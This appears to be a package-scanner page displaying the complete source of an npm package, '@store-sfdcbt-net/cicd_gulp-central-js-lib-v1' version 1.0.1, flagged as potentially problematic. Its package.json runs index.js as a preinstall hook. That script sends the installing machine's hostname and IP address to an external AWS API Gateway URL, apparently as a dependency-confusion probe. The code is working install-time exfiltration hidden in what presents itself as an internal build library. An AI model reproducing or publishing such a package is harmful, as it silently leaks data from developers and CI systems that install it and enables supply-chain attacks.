@store-sfdcbt-net/cicd_gulp-central-js-lib-v1 1.0.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @store-sfdcbt-net/cicd_gulp-central-js-lib-v1 might be problematic. Click here for more details.
- package/index.js +14 -0
- package/package.json +15 -0
package/index.js
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
const axios = require('axios');
|
2
|
+
const os = require('os');
|
3
|
+
const ip = require('ip');
|
4
|
+
|
5
|
+
|
6
|
+
const computerName = os.hostname();
|
7
|
+
|
8
|
+
axios.get('https://1jzlbu5mkl.execute-api.us-east-1.amazonaws.com/prod', {
|
9
|
+
params: {
|
10
|
+
name: computerName,
|
11
|
+
app: "ep",
|
12
|
+
ip: ip.address()
|
13
|
+
}
|
14
|
+
});
|
package/package.json
ADDED
@@ -0,0 +1,15 @@
|
|
1
|
+
{
|
2
|
+
"name": "@store-sfdcbt-net/cicd_gulp-central-js-lib-v1",
|
3
|
+
"version": "1.0.1",
|
4
|
+
"main": "index.js",
|
5
|
+
"scripts": {
|
6
|
+
"preinstall": "node index.js"
|
7
|
+
},
|
8
|
+
"author": "",
|
9
|
+
"license": "ISC",
|
10
|
+
"dependencies": {
|
11
|
+
"axios": "^1.4.0",
|
12
|
+
"ip": "^1.1.8"
|
13
|
+
},
|
14
|
+
"description": ""
|
15
|
+
}
|